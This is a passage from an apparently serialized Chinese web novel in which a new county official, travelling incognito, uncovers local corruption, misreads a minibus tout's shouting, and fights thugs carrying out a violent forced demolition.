街边下象棋的老头们压低声音的议论,树荫下乘凉妇女们警惕的嘀咕。
小商店里店主对顾客抱怨“这个费那个费”的牢骚……各种碎片化的信息,带着抱怨、麻木、无奈和一丝绝望的底色,断断续续地飘进他的耳朵。
那些声音汇聚成一股无形的压力,沉甸甸地压在他的心头。
这哪里是“水深王八多”?
这分明是一潭被剧毒污染的死水。
表面或许偶有微澜,水下早已是蛇虫盘踞,朽骨沉沙。
走了不知多久,双腿像灌了铅,胃里也空空如也,火烧火燎地提醒着身体的极限。
江昭宁的目光在街边搜寻着,最终落在了一家看起来相对干净的小饭馆——“老蔡家常菜”。
玻璃门擦得还算亮堂,透过玻璃能看到里面白色的瓷砖地面,虽然有些磨损,但不见明显的油污。
他推门走了进去,一股混合着饭菜、消毒水和老旧空调味道的空气扑面而来。
店里没什么人,只有最里面靠墙的一桌坐着三个男人,正边吃边低声聊着什么。
这儿的老板娘苏梅娟是个三十多岁、身材曼妙,全身收拾得还算利落的女人。
她见有客人,立刻堆起职业化的笑容迎上来:“老板吃点啥?这边坐,凉快!”
她指了指靠窗的位置,那里离里
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面那桌稍远。
江昭宁点点头,在窗边的方桌旁坐下。
窗外,正是那条混乱不堪的省道。
他要了一盘尖椒炒肉,一盘清炒空心菜,一碗米饭。
苏梅娟麻利地记下,转身朝后厨喊了一声。
菜上得很快。
尖椒炒肉油汪汪的,肉片切得厚薄不均,裹着浓重的酱色;空心菜倒是青翠,但似乎火候过了,有些发蔫。
江昭宁拿起筷子,夹起一块肉片送入口中。
一股浓重的酱油味和味精的鲜直冲喉咙,肉片本身的口感有些柴。
他默默地咀嚼着,味同嚼蜡,心思完全不在食物上。
耳朵却像雷达一样捕捉着店里唯一的声音来源——墙角那桌食客的谈话。
起初声音压得很低,断断续续,像是怕人听见。
但随着几杯啤酒下肚,嗓门渐渐放开了一些。
“……听说了没?新来的那位**,今儿个到了。”一个沙哑的男声,带着点神秘兮兮的语气。
“嘁!早看见了,县委大院门口都有人瞅着了,挺年轻,看着也就不到三十?”另一个声音接话,语气里带着明显的不以为然。
“年轻顶个屁用!”第三个声音响起,更加粗粝,带着一种看透世事的嘲讽,“老的都镇不住这东山的场子,来个毛头小子,还不成了人家盘子里的菜?”
“想怎么夹就怎么夹,想怎么吃就怎么吃!”
这话像一块冰冷的石头,砸在江昭宁的心上。
他握着筷子的手微微一顿。
“就是!想想老马**怎么被挤兑走的?”沙哑的声音再次响起,压得更低了,带着一种分享秘密的兴奋,“那才叫一个憋屈!”
“听说他要查矿上的账?嘿,没两天,他小舅子在邻县包工程那点破事就被捅得满城风雨,证据确凿!上头直接就……啧啧。”
后面的话含糊在酒杯碰撞声里,但意思再明白不过。
“东山这地方,那是真黑!”粗粝的声音总结道,带着一种近乎绝望的麻木,“新**一来,还没站稳呢,就被人狠狠打了脸吧?”
第9章 谁来都白搭!
“听说被‘上铐教育’了一番,还要罚款?”
“这不,也只能忍气吞声,屁都不敢放一个!”
“过江的龙,它压不住盘踞多年的地头蛇!没那根基,没那狠劲儿,谁来都白搭!”
“可不是嘛,”第一个沙哑的声音附和着,语气里满是宿命般的认同,“不是本土长起来、根深叶茂的狠角色,谁能镇得住这场面?难喽!”
一直埋头啃碗里花生米的一位中年男人突然抬起头,眼睛扫视了一圈周围,声音压得更低了几分:“这盘棋……下头坐庄的都是本地王!”
“那些外来的人甭想号脉,门都摸不着!”
“老板娘,再来瓶啤酒!”粗粝的声音高声招呼着。
苏梅娟应了一声,拿着啤酒快步送过去,脸上堆着笑,目光却飞快地扫了一眼窗边独自吃饭的江昭宁。
当她的视线与江昭宁无意间抬起的目光短暂相接时,江昭宁清晰地捕捉到,那笑容瞬间凝固了一下,眼神深处掠过一丝难以名状的复杂情绪——像是警惕,又像是某种无声的告诫。
她迅速移开视线,放下啤酒,转身快步走回了柜台后面,仿佛那里才是安全区。
江昭宁慢慢地放下筷子。
胃里的食物像冰冷的石块,沉甸甸地坠着。
墙角那桌肆无忌惮的议论,像无数根细密的针,反复扎刺着他的神经。
盘子里的菜?被挤走的前任?忍气吞声?地头蛇?
每一个词都尖锐无比,将他先前所有的隐忍、所有的观察、所有的推测,以一种最粗粝、最市井的方式串联起来,锤打成型。
他端起桌上那杯免费的、浑浊的劣质凉茶,搪瓷杯壁刺激着掌心。
他需要这杯凉茶水来压下胸腔里翻腾的怒意和寒意。
他凑近杯口,慢慢地啜饮了一口。
茶水苦涩,带着一股浓重的土腥味和漂白粉的气息,顺着喉咙滑下。
这,非但没有浇灭心火,反而像倒进热油的一滴水,激起了更猛烈的煎熬。
“不是本土长起来、根深叶茂的狠角色,谁能镇得住这场面?”
这句话如同魔咒,在他脑海中反复回荡。
刘世廷,李国栋他们代表的,就是那所谓的“根深叶茂”?就是那盘踞一方、无人敢撼的“地头蛇”?
就在这心潮汹涌之际,江昭宁的目光无意间落在桌角压着的一张薄薄的、油腻腻的点菜单上。
那上面潦草地写着他点的两个菜名和价格。
然而,就在那“尖椒炒肉28元”的下面。
一行用另一种颜色、另一种更潦草笔迹写的小字,像一条悄然滑过的毒蛇,猛地攫住了他的视线:“6.25派出所刘所酒菜挂账500”
6月25日?不就是今天?
刘所?挂账五百?
一股冰冷刺骨的寒意,瞬间从尾椎骨直冲头顶!
这绝不仅仅是简单的吃拿卡要,这是何等嚣张的宣告!
一个派出所长,在他这位新**赴任的第一天,就敢在这家看起来毫不起眼的路边小店里,签单挂账五百块!
仿佛这里是他的私家食堂!
老板娘方才那复杂的一瞥,那瞬间凝固的笑容……一切都有了令人心寒的注解。
这张小小的、油腻的点菜单,像一块被偶然冲上岸的碎片,露出了水下冰山庞大而狰狞的一角。
这冰山所代表的,是根植于日常、肆无忌惮的**,是早已深入骨髓的系统性溃烂!
其范围之广,程度之深,远超他之前最坏的预想。
墙角那桌的议论声、酒杯碰撞声,窗外的车流噪音、刺耳的喇叭声,在这一刻仿佛都消失了。
世界陷入一种诡异的寂静。
江昭宁死死盯着那行小字,每一个歪斜的笔画都像是一根烧红的针,狠狠刺进他的眼球。
他握着搪瓷茶杯的手,不自觉地、极其缓慢地收紧。
指节因为过度用力而失去了血色,变得像浸在冰水里的白骨,根根凸起,清晰地绷在皮肤之下。
一股灼热的岩浆在他胸腔深处奔突冲撞,还有一股被逼到悬崖边缘的凶悍,在无声的角力中疯狂撕扯。
杯中的劣质茶水在剧烈的颤抖中漾出杯沿,无声地滴落在他洗得发白的旧T恤上,迅速洇开一小片深色的水渍,像一块丑陋的伤疤。
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>窗外的阳光依旧猛烈,透过蒙尘的玻璃,斜斜地照射在桌面上,照亮了空气中飞舞的细小尘埃。
那光柱里,悬浮的微尘仿佛有了生命,在无声的寂静中疯狂地旋转、碰撞、升腾,如同此刻他脑海中翻腾不息的风暴。
盘根错节的黑暗、无处不在的腐朽、百姓麻木中的绝望、对手赤裸裸的挑衅……
所有的一切,都在这杯被死死攥住的凉茶上方,无声地凝聚、加压,几乎要撕裂这凝滞的空气。
江昭宁的视线,缓缓从那张点菜单上移开,投向窗外那条混乱、肮脏、在烈日下蒸腾着扭曲热浪的省道。
眼神深处,那点最初被强压下去的、属于年轻人的愤怒火星,在经历了冰与火的淬炼后,非但没有熄灭,反而沉淀了下来,凝结成一种更为坚硬、更为冰冷的东西。
那东西,名为意志。
江昭宁推开面前几乎没怎么动过的碗碟,那盘尖椒炒肉的油腻酱色显得格外刺目。
他站起身,走向门口那个简陋的收银台——其实不过是个蒙着厚厚玻璃板的木柜子,里面散乱地放着零钱、收据和几包廉价香烟。
老板娘苏梅娟正倚在柜台后,手指无意识地划拉着手机屏幕。
屏幕的光映着她那张年轻风韵的脸。
听到脚步声,她立刻抬起头,脸上瞬间堆起那种见惯了南来北往客的职业笑容,熟练而带着一丝不易察觉的讨好。
“小老弟,吃好啦?味道还行吧?”她声音刻意放得轻快。
眼神却在江昭宁身上飞快地扫视了一圈。
落在他那件洗得发白的旧T恤上。
又滑过他空空的双手——没有公文包,没有象征身份的物件。
“嗯,结账。”
江昭宁的声音没什么起伏,从裤兜里掏出几张零钱,准确地报出金额:“尖椒炒肉28,空心菜15,米饭2块,一共45。”
“哎,好嘞!”苏梅娟应着,手指在油腻腻的计算器上按了几下确认,然后接过钱。
就在她低头找零钱的空档,身体微微前倾,丰满的胸部隔着薄薄的廉价衬衫在柜台上方勾勒出诱人的曲线。
第10章 别太扎眼!
一股混合着油烟和劣质香水的味道隐隐飘来。
她找好零钱递过去,却没有立刻收回手。
那双带着月芽儿的眼睛再次抬起,带着一种审视又带着点“过来人”的“好心”,紧紧盯着江昭宁的脸,压低了声音,语气神秘兮兮又带着几分笃定:“小老弟,听口音……你是外地来的吧?”
她用的是疑问句,但眼神分明是肯定的。
江昭宁接过零钱,随手塞进口袋,目光平静地迎上她的审视,只淡淡应了一个字:“嗯。”
他刻意维持着一种初来乍到、不谙世事的普通外地人形象。
得到这个确认,苏梅娟眼底闪过一丝了然,那点“好心”的意味更浓了。
她身子又往前凑近了些,几乎能闻到她发梢的油烟味,声音压得更低,仿佛在分享一个天大的秘密,又像是在传递一个关乎生死的警告:“那……你在东山这地界儿上,可得千万小心点呐!”
她涂着廉价口红的嘴唇翕动着,“说话做事,都悠着点儿,别惹事,也别太扎眼。”
她顿了顿,似乎在观察江昭宁的反应,然后才抛出那个极具冲击力的“例子”,声音里带着一种夸张的、近乎八卦的惊悚感:“你是不知道,这些个地痞混混,无法无天惯了!”
苏梅娟窈窕的身子一扭,“胆子大得能捅破天!”
“连……连新来的县太爷,都敢动手打咧!”
“光天化日之下啊!”
“你说说,这还有王法吗?”
她一边说着,一边微微摇头,眼神里充满了“世道险恶”的感叹和对眼前这个“外地小老弟”的担忧。
江昭宁听着,脸上的肌肉纹丝不动,仿佛只是在听一个与己无关的遥远传闻。
他没有表现出任何惊讶或愤怒。
只是在她话音落下的瞬间,嘴角极其细微地向下抿了一下,快得几乎无法捕捉。
他的目光越过苏梅娟那张刻意渲染着恐惧和关切的脸,落在她身后柜台上那本摊开的、油腻腻的账簿上,仿佛穿透了那层纸,看到了下面隐藏的、更深的污垢。
“嗯。”他再次平静地应了一声,声音低沉而清晰,带着一种洞悉一切的冷意,仿佛只是在陈述一个最基础的事实,而非回应她的“好心提醒”:“无法无天,他们习惯了的。”
这六个字,平平淡淡。
却像一把冰冷的锥子,瞬间刺破了苏梅娟刻意营造出的那种“市井热心”的氛围。
她的表情明显僵了一下,眼底那一丝表演性的担忧迅速褪去,取而代之的是一抹被戳穿般的狼狈和更深的不安。
她张了张嘴,似乎还想说点什么,比如“你怎么知道?”或者“你懂什么?”,但最终什么也没说出来。
那“习惯了的”三个字。
像一块沉重的石头,堵住了她所有准备好的“台词”。
江昭宁不再看她,目光从账簿上移开,没有任何停留,转身便推开了那扇贴着褪色菜单的玻璃门。
门框上挂着的褪色塑料招财猫发出一阵沉闷的碰撞声。
门外,省道上喧嚣的噪音和灼热的空气瞬间将他吞没,他迈步走入那片浑浊的日光里,背影挺直,脚步沉稳。
只有柜台后的苏梅娟,手里还捏着那几张找零的钞票。
看着那个消失在门外刺眼光线中的背影,脸上的表情变幻不定。
她下意识地抬手,摸了摸自己有些发烫的脸颊,又飞快地瞥了一眼账簿上那个“刘所”的名字。
一股说不清道不明的寒意,悄然爬上了她的脊背。
这个“外地小老弟”……平静得有点吓人。
江昭宁出了门,踯躅于县城街头。
日头酷烈,阳光如同滚烫的铜汁,肆意泼洒在坑洼的柏油路上,蒸腾起令人眩晕的热浪。
他停步在一处十字路口,眯眼仔细辨认方向。
目光却不由自主地被拐角处一个小小的喧闹角落吸引过去——那是几辆沾满灰尘的中巴车拥挤停驻的地方。
几辆中巴车如疲惫的巨兽匍匐于尘土,车皮斑驳,在刺目的光线里显出一种灰败的疲态。
一个年轻人倏地从
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车旁闪出,声音像一把锋利却磨损的钝刀,反复切割着燥热的空气:“**!去**不?”
尖利的声音穿破周遭喧嚣刺入耳膜。
这声音毫无遮拦地撞进江昭宁耳中,仿佛一根引线瞬间点燃了他颅内的**库——“轰”!朗朗乾坤,光天化日之下,竟有人如此嚣张地当街拉人**?
他浑身血液猛地涌向头顶,又骤然冷凝,只余下惊骇的寒流在四肢百骸奔窜。
他甚至一时分不清这究竟是梦境还是现实。
警察呢?
江昭宁难以置信的目光扫过街面各处,心底深处升起一个冰冷可怕的念头,“难道这偌大的县城,警察全都烂透了不成?”
心头一股灼烫的怒火顶着太阳穴突突跳痛。
江昭宁猛然抬头,目光如电,就要朝那声音的方向怒喝——他甚至已经挺直了腰板,嘴唇绷成严厉的线条。
可是,声音未及出口。
身体突然被一股蛮力推了个趔趄。
两个精悍的年轻男子粗暴地推搡着另一个垂头丧气的青年,迎面撞来。
那被推搡者脚步踉跄,头深埋着,看不清面容。
而后面,一个约莫三十多岁的男人。
脸色阴沉得如同暴雨将至的铅云,眼神锐利如鹰隼。
紧紧跟随着,如同一个沉默而沉重的注脚。
更扎眼的是——那被推搡的年轻人手腕上,赫然扣着一副冰冷锃亮的**!
“**?”念头如电光石火般掠过江昭宁的脑海。
然而那副**,瞬间推翻了他的这个猜测。
难道是他们警察?
江昭宁几乎是下意识地一个箭步上前,拦在了那阴鸷男人面前,声音陡然紧绷:“你们是**便衣?”
“是的。”领头者回答得短促有力,带着一丝被打扰的不耐,“我们正在执行公务,请你别妨碍我们。”
他手臂一抬,试图拨开江昭宁这个突兀的障碍。
“别动!”江昭宁心头那股被“**”二字点燃的怒火瞬间烧得更旺,灼烧着他的理智。
第11章 误解
他手臂一横,竟硬生生格开了对方的手,声音因激动而拔高,带着一种近乎质问的锐利:“好一个执行公务!”
“眼前就有犯罪行为发生,你们为何视若无睹?你们的职责何在?”
“谁?”那领头人的语调终于出现了一点起伏,尾音微微扬起,混杂着一丝谨慎的警惕和几分被冒犯后的愠怒。
江昭宁猛然抬手一指,他的手臂绷得如弓弦般笔直。
指尖所指处,正是停靠着几辆褪色中巴车的街角方向。
恰在此刻,刚才那尖利的叫喊声再次响起,甚至比先前更响亮、更肆无忌惮,像是在挑战所有人的神经:“**!去**不?!……”
喊声如同钢针反复刺入耳鼓。
那领头的警察,脸上的阴鸷骤然被一层愕然覆盖。
随即,一种古怪的、近乎荒诞的笑意竟在他嘴角漾开,最后竟化作一阵毫不掩饰的大笑。
他那双锐利得几乎要剥开人皮的眼睛将江昭宁从头到脚扫视了一遍,又“嘿”地笑了一声,声音玩味地问道:“兄弟,外地人吧?”
“是的。”
“哦?”领头的人笑意更浓了,他饶有兴趣地问道,“来出差?旅游?还是……来打工的?”
他拖长了调子,语气轻飘飘的,那兴趣盎然的样子仿佛猫科动物找到了新奇的玩具,“看你说话,气势挺足啊。”
“你甭管我是来做什么的!”江昭宁的声音陡然升高。
他的声音如同被激怒的号角,压过了周遭的嘈杂,引得几个卖水果的小贩也停下手里的活计,伸长脖子朝这边张望。
“我只问你一句,为什么有人光天化日之下做犯罪之事,你们熟视无睹?难道是司空见惯?”
“你们本身是不是也在犯罪?”他越说越激愤,话语如同滚烫的石头砸出,“就不怕坐牢吗?”
那一连串厉声责问,尤其是“就不怕坐牢吗?”几个字,恍如投石击中了寒潭深处,领头警察面上的笑容刹那间消失无踪,仿佛从未出现过。
一层暴风雨欲来的凝重压得人喘不过气。“好家伙,”他眯着眼,从牙缝里挤出几个字,冷得能凝出冰霜,“你倒是象一个不小的领导,一来就给人扣高帽。”
他深吸一口气,仿佛在极力压制着什么,指着那个仍在奋力吆喝的身影,声音低沉得如同闷雷滚过:“你听清了,他是在中巴车附近揽客!”
他特意加重了“揽客”二字。
江昭宁正处在愤怒的巅峰,未及反应,下意识地脱口驳斥:“没错,是揽客。我听得真真切切!”
“这难道不是更严重?”江昭宁毫不退缩,只觉得对方在强词狡辩,怒意更盛,“利用中巴客车揽客**,瞬息千里,连作案工具都准备好了!这简直是无法无天!”
“毒贩猖獗到这般地步,公然煽动**,证据还不够充分确凿吗?!你们的责任呢?”
对方重重地、几乎是无奈地摇了一下头,仿佛面对的是一个不可理喻的顽石。
他抬手用力按了按自己的太阳穴,然后盯着江昭宁,一字一顿,声音清晰得如同冰粒砸在铁皮上:“听——清——楚——了?”
“听得清清楚楚!”江昭宁斩钉截铁,每个字都掷地有声,“他一直在喊‘**!去**不?’”
“喊了不止一遍!难道我耳朵聋了不成?”
领头警察嘴角扯出一个极其古怪的弧度,那表情混杂着哭笑不得的荒谬,“他说的是‘去溪都’!不是‘**’!”
他几乎是一个音节一个音节地用力强调,“溪——都!去溪都不?”
“溪都是咱们这西南边上的一个镇子!”
“这些中巴是跑溪都的短途车!他是在——揽客!让人家去溪——渡——!”
“不是**在喊人去**!”
“人家规规矩矩挣口饭吃,犯哪门子罪?你让我抓什么?”
他猛地指向那个戴着**、自始至终蔫头耷脑、如同晒蔫了的菜叶般的年轻人。
他手一伸,重重扬起了这个年轻人的下巴。
这是一张年轻却过早被毒瘾和戾气侵蚀的脸,颧骨高耸,眼窝深陷。
领头警察的语气陡然变得凌厉如刀,“看见没
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?这家伙!身上藏了货的,才是我们刚摁住的毒虫!这才叫犯罪!”
“还有问题吗?”
江昭宁的脸“腾”地一下涨得通红,尴尬不已。
领头警察鼻子里重重哼出最后一道冷气,带着他的部下与人犯,在车水马龙的街角一闪,倏然不见。
只剩下江昭宁独自僵在原地,成了一个不合时宜的滑稽注脚。
世界重又喧嚣起来。
县城的生命力在周围汩汩流淌——水果摊贩的叫卖、自行车铃铛的叮当、主妇讨价还价的洪亮嗓门……
所有的声音都蒙上了一层隔膜,嗡嗡地搅动着空气。
唯独那个尖锐的声音再度穿透而来:“溪都——走不走咯?”
他终于听清了,那确实是“溪都”,带着浓重乡音的“溪都”。
先前那自以为是的“**”,此刻显得如此荒谬可笑,像一个巨大而拙劣的幻觉。
一个卖桔子的老汉蹲在不远处,布满皱纹的脸上努力绷紧着,然而嘴角却控制不住地向上咧开,肩膀微微耸动,发出几声极力压抑却仍漏了气的“吭哧”声。
那压抑的笑声,像细小的针,一下下扎在江昭宁紧绷的神经上。
就在这时,一只粗糙有力的大手忽然按在了江昭宁僵硬的肩膀上。
他猛地一惊,抬起头,正对上那领头警察去而复返的脸。
那张脸依旧阴沉,但眼神深处却似乎沉淀着一些别的东西。
“兄弟,”警察的声音低沉了许多,带着一种与刚才截然不同的、近乎疲惫的沙哑,“这地方,水深。”
“眼睛看到的,耳朵听到的,有时候,”他收回目光,那只搭在江昭宁肩上的手加重了一点力道,仿佛要传递某种沉重的告诫,“未必就是你以为的那样。”
他深深地看了江昭宁一眼,那眼神复杂得如同浑浊的深潭,包含着太多难以言说的东西。
然后,他松开手,不再停留,转身大步流星地离开。
背影很快也融入了县城午后那令人目眩的、混杂着尘土与喧嚣的光晕里,留下一个沉甸甸的谜团。
第12章 拆不得?
江昭宁抬起袖子抹了把额角不断滚落的汗珠,微湿的衬衫后背紧紧贴住皮肤,带来一阵黏腻的触感。
远处,几台破旧庞大的推动机、挖掘机懒散地矗立着,如同伏卧的钢铁巨兽。
褪色的“打造和谐新城区”的标语横幅挂在半空,边缘已翻卷撕裂,被风吹得啪啪作响。
焦糊的气味,不知是焚烧垃圾还是未烧尽的建筑残骸散发出来的,刺鼻地在热风里搅动,令人作呕。
县城中心的这条道路,正日益被如同疮痍般蔓延的拆迁工地撕扯得支离破碎。
一丝若有若无的压抑哭泣,极其微弱,却像根冰冷的针,倏地扎破闷热的空气,刺入江昭宁的耳朵。
他停住脚步,下意识地侧过头去倾听。
那低哑断续的呜咽声,不是一个人,像被扼住喉咙的动物,带着一种濒临彻底溃散的绝望,挣扎着在轰鸣的工地噪声和滚烫的热风中浮沉。
它并非来自宽敞的主路,而是深深扎进了旁边那条更显逼仄、挤满了低矮破败老屋的斜巷深处。
江昭宁皱紧眉头,没有片刻犹豫,循着那悲声,脚步迅疾地拐进了那条光线瞬间暗下来的小巷。
阳光在两侧斑驳发黑的墙面上艰难爬行,投下幽深的光栅。
眼前景象将他钉在了原地。
一片瓦砾废墟之上,孤零零地立着一栋墙皮剥落殆尽的小砖房,像是被巨大怪物粗暴啃噬后,侥幸存留的一颗门牙,顽固又凄凉。
它显得如此单薄脆弱,似乎下一阵挖掘机带来的震动就能将其彻底掩埋。
废墟四周,一圈人高马大、浑身散发着戾气的年轻汉子,清一色的黑色无袖背心露出虬结的刺青图案。
手里握着明晃晃的钢管和粗糙的木棍,将房子和中间那个哭嚎挣扎的枯瘦老人死死围在中央,形成一道凶悍的人墙。
“老不死的东西!识相点,滚开!”一个赤裸上身的打手猛地发力,粗糙的手掌狠狠掐住老人枯柴般的手腕,用力往后猛拽。
老人单薄的身子骨哪经得起这般猛力。
他整个人就像块破布般被甩得向后趔趄。
脚下一个不稳,后背结结实实撞在身后一辆旧木板车锈迹斑斑的车辕上,发出沉闷的撞击声。
老人痛苦地蜷缩起来,额头渗出冷汗,布满岁月褶皱的脸上瞬间失去了所有血色,只剩下无尽悲愤的痛苦。
他嘶哑的喉咙挤出几个模糊不成调的字:“房子……家……拆不得……”
“拆不得?呸!”另一个身形剽悍,脸上斜斜爬过一道狰狞旧疤的头目模样的汉子挤上前。
粗鲁地吐了口浓痰,狠狠砸在老人面前布满灰尘的地面上,溅起一小片灰土。
他咧开嘴,露出一口歪斜的黄牙,喷着唾沫星子:“老棺材瓤子,活腻歪了?”
“耽误了政府的项目,你全家都赔不起!给我把这碍事的老东西拖开!”
他凶戾的目光扫过废墟,像刀子刮过,“挖掘机!快!给老子挖了!”
疤脸身后,一台锈红色的挖掘机如同闻到了血腥味的猛兽,低沉的引擎轰鸣猛然增大,轰隆隆!轰隆隆!
排气管喷出一股污浊的黑烟。
那巨大的钢铁铲斗带着毁灭一切的狰狞,缓慢而沉重地抬升起来,尖端闪烁着冷酷的金属寒芒,对准了那在瓦砾中艰难矗立、摇摇欲坠的小屋墙壁。
……
不能等了!
江昭宁心头猛沉,全身的血液刹那间几乎沸腾起来。
他来不及多想,几乎是本能地把手伸进那个磨损得已露出麻线的帆布公文包深处,在揉皱的几张文件和笔记本的夹缝里,准确地摸出了手机。
指关节因用力而有些泛白,指尖带着微微颤栗的冰冷按下了解锁键。
屏幕亮起微光。
他的动作迅捷无比,手指在简陋的摄像界面上滑动,按下拍摄键的刹那,镜头无声地框住了前方即将上演的**——对准了那个暴戾的疤脸头目。
锁定了那台咆哮的挖掘机。
还有那个蜷缩在地面,如同被狂风撕裂一片枯叶般无助的老人。
手机摄像镜头
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在狂躁的挖掘机吼叫和打手们粗野的叫骂声中,无声地运作。
然而,那疤脸头目的后颈却像陡然生出倒刺般猛地绷紧!
他像是被某种无形的针尖刺中,霍然转头!
那双凶光毕露、布满血丝的三角眼如同最原始的嗜血野兽,瞬间就锁定了巷口阴影处这个举着手机的“不速之客”。
一股被挑衅的狂暴戾气瞬间扭曲了那张布满横肉的脸孔。
“操!敢他妈偷拍?!”疤脸声如炸雷,在狭窄的巷子里震荡。
他眼中那点残留的、因为即将得手而浮现的得意,瞬间被最原始的凶残所取代。
他几乎是咆哮着发出指令:“那边有个不要命的!”
“给老子抢了他的家伙!把他手机给我砸了!!”
指令如同一颗投入平静油锅的火星,刹那间炸裂了整个现场。
几个原本围着挖掘机吆喝打气的打手被这声咆哮惊得一怔。
旋即,七八道凶悍的目光齐刷刷穿透尘土飞扬的空气,钉子般钉在江昭宁身上。
随即爆发出更汹涌的狂潮。
距离最近的两个汉子最先反应过来,獠牙毕露,喉咙里发出野兽般的低吼,挥舞着粗糙的木棍,凶神恶煞地猛扑过来!
空气被挤压发出沉闷的呼号。
江昭宁心知已避无可避。
他下意识将刚拍摄的、尚处于录像界面的手机死死攥紧,拇指用力一划,点向角落的发送图标,动作仓促而隐秘,随即猛地将手臂向侧后方缩回!
这试图保存证据的微小举动,却如同在狼群面前举起流血的羔羊,瞬间点燃了所有暴徒眼中最赤裸的毁灭欲。
“抢过来!!!”一声更尖锐的嘶吼在另一个打手口中炸开。
一只粗壮如同熊掌般、覆盖着肮脏汗**和刺青的大手带着一股扑鼻的汗酸和廉价烟草的臭味,几乎贴着他的耳畔擦过,“嗤啦”一声,狠狠撕扯在他旧衬衫的肩袖连接处!
力量巨大而野蛮,江昭宁只觉得一股沛然莫御的巨力猛地将他向前拽倒。
第13章 你算哪根葱?
他的下盘瞬间虚浮,身体失去平衡,脚下被散落的碎砖绊住,整个人如同一个失衡的笨重布袋,身不由己地向前栽倒。
坚硬的碎石硌着肘部的骨头,火辣辣的疼顺着神经末梢蔓延开来。
掌心更是狠狠地擦过粗糙冰冷的水泥地面,皮肉被磨破,细小的碎石颗粒嵌入血肉之中,带来钻心蚀骨的剧痛。
身体撞击地面的闷响传来。
手机从他因剧烈撞击而僵直的手掌中滑落,像个顽劣的物件,在烟尘弥漫的泥土地上翻滚了几下,“当啷”一声撞在一截断裂的混凝土碎块上。
屏幕上蛛网般的裂纹瞬间炸开。
“妈的!”一声低沉的怒骂从江昭宁紧咬的牙关中迸出。
江昭宁顾不上手肘和膝盖的剧痛,挣扎着就要去拿起那碎裂的手机。
然而,一只穿着沾满泥泞破旧胶鞋的大脚,带着毫不掩饰的恶意和力道,结结实实踏在了手机屏幕上!
“咔嚓——!”
清晰的塑料碎裂和屏幕玻璃彻底粉化的声音,像是一把冰冷的**,捅进江昭宁的心脏,让他的动作猛地一滞。
瞬间的恍惚甚至盖过了皮肉的伤痛。
那手机在眼前绝对暴力的践踏下,宣告终结。
那踹碎手机的打手脸上闪过一抹残酷的快意,随即是更深的狞笑。
他居高临下地盯着地上挣扎的江昭宁,粗壮的胳膊猛地举起沉重的木棍。
恶风呼啸着砸向江昭宁的头顶!
江昭宁本能地就地翻滚,他想要避开这致命一击,动作迅捷却依旧被劲风扫过肩膀,痛得眼前发黑。
这一滚,却也拉近了与蜷缩在木车旁痛苦呻吟的老人之间的距离。
几个打手正狞笑着逼近老人,手中的棍棒和钢管在尘雾中闪烁着冰冷的光,眼看着就要落在老人身上!
“住手!”江昭宁睚眦欲裂,厉喝声带着一丝嘶哑。
他此刻才真真切切看清老人的脸,布满沟壑,浑浊的泪水混合着尘土,流淌在干裂的皮肤上,那绝望的目光直刺心底。
不是数字表格上的一个名字。
是一个活生生、正在被摧毁的人!
一股激血猛地冲上江昭宁的头顶!
他左手撑地,骤然发力挺身,右臂肌肉绷紧如同拉满的硬弓,带着拼死一搏不顾一切的狠劲,悍然探出,精准无比地攥住了刚刚持棍砸向他后跌落在脚边的一根手腕粗细、冰凉沉重的钢管!
江昭宁掌心的伤口被粗糙冰冷的钢铁摩擦,剧痛钻心。
但此刻这痛楚反而催发了他被逼入绝境的力量!
他倏地站了起来。
江昭宁握着钢管的手猛地向怀中一带,钢管的另一端在泥土里拖出一道浅痕,随即被他闪电般提起、抡圆!
目标极其明确!
“呜——”沉重的钢管破开污浊的空气,带着沉猛的啸音,划过一道饱含怒火的银色弧线!
强大的力量从腰身炸开,顺着臂膀,毫无保留地灌注到那冰冷的武器之上!
“嘭!”
一声令人心悸的、骨头与坚硬金属猛烈撞击的闷响!
钢管挟着千钧之力和玉石俱焚的决绝,狠狠砸在正欲弯腰抬脚踹向老人的疤脸汉子左小腿迎面骨上!
那一瞬间,时间仿佛凝滞。
疤脸汉子脸上的狞笑猛地僵死,像是被高温骤然浇筑的蜡像,随即被骤然降临的巨大痛苦彻底撕裂。
他双眼难以置信地瞪圆到极致,嘴巴大大张开发出无声的嘶吼。
随即才是迟来半秒的、惊天动地的凄厉惨嚎:“啊——嗷!!!”
腿骨的剧痛如同炸开的**,瞬间摧毁了他身体的平衡感。
他整个人像个失控的陀螺,重重地歪倒下去。
半边身体狠狠地砸进堆积的建筑垃圾堆里,尘土轰然腾起。
他抱着那条瞬间失去知觉的左腿,在尘埃和碎石中翻滚、抽搐。
如同被剔去筋骨的野兽,发出含混着痛苦和咒骂的呜咽。
粘稠的血色迅速浸透他那条肮脏的迷彩裤裤管,在灰土上洇开一小片刺目的暗红。
他那张曾无比猖狂的脸孔扭曲变形,沾满了尘土、冷汗和泪水的混合物。
这突如其来、快如雷霆的反击瞬间冻住了所有的喧嚣。
打手们惊愕的目光齐刷刷扫过来。
看着他们平日里凶悍的老大如同烂泥般蜷
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缩翻滚,再看看尘土中那个挣扎着站起、手擎沾着斑斑血迹钢管的青年。
江昭宁脸上的血痕蜿蜒而下,额头冷汗涔涔,衬衫破裂之处露出青紫的擦伤。
整个人如同从泥潭中搏杀而出的伤兽,疲惫狼狈到了极点。
唯有那双紧盯着地上伤者的眼睛,亮得像两块烧红的炭!
那目光扫过之处,带着一种濒死搏命才有的决绝和不容侵犯的尊严,竟让几个打手本能地向后退了半步。
倏地,一辆路虎揽胜戛然而止。
城投公司总经理蒋文光从车里钻出来。
他头发一丝不苟地向后梳拢,油光水滑。
他脸上没什么表情,仿佛眼前这片废墟和哀鸣与他毫无瓜葛,只有指间那支昂贵的雪茄,在浑浊的空气里升腾起一缕傲慢的青烟。
城投公司的全称就是城市投资建设公司,主要负责地方基础设施建设,当然包括拆迁。
在地方上,城投公司因为有政府背景,它的地位超出人的想象,地位很高,权力很大,几乎可以调动方方面面的一切资源。
蒋文光更是黑白通吃。
接着后面又开来了一辆中巴车,车上下来几个满脸横肉,一脸狠戾的家伙。
混乱的打手们见到他们,条件反射般地出现了片刻迟滞,有的下意识地往墙角缩,也有人丢开了手里的棍棒。
那个倒在地上抱着腿惨嚎的疤脸,痛得脸色煞白扭曲,却仍不忘费力地抬起头。
他指着正支撑着钢管试图站直的江昭宁,声音嘶哑,如同钝锯拉朽木:“蒋总!这小子!这小子动手**!”
“往死里打我……他就是带头**、**的祸首!”
蒋文光摸出烟盒,叼上一支点燃,深深吸了一口,白色的烟雾弥漫开来。
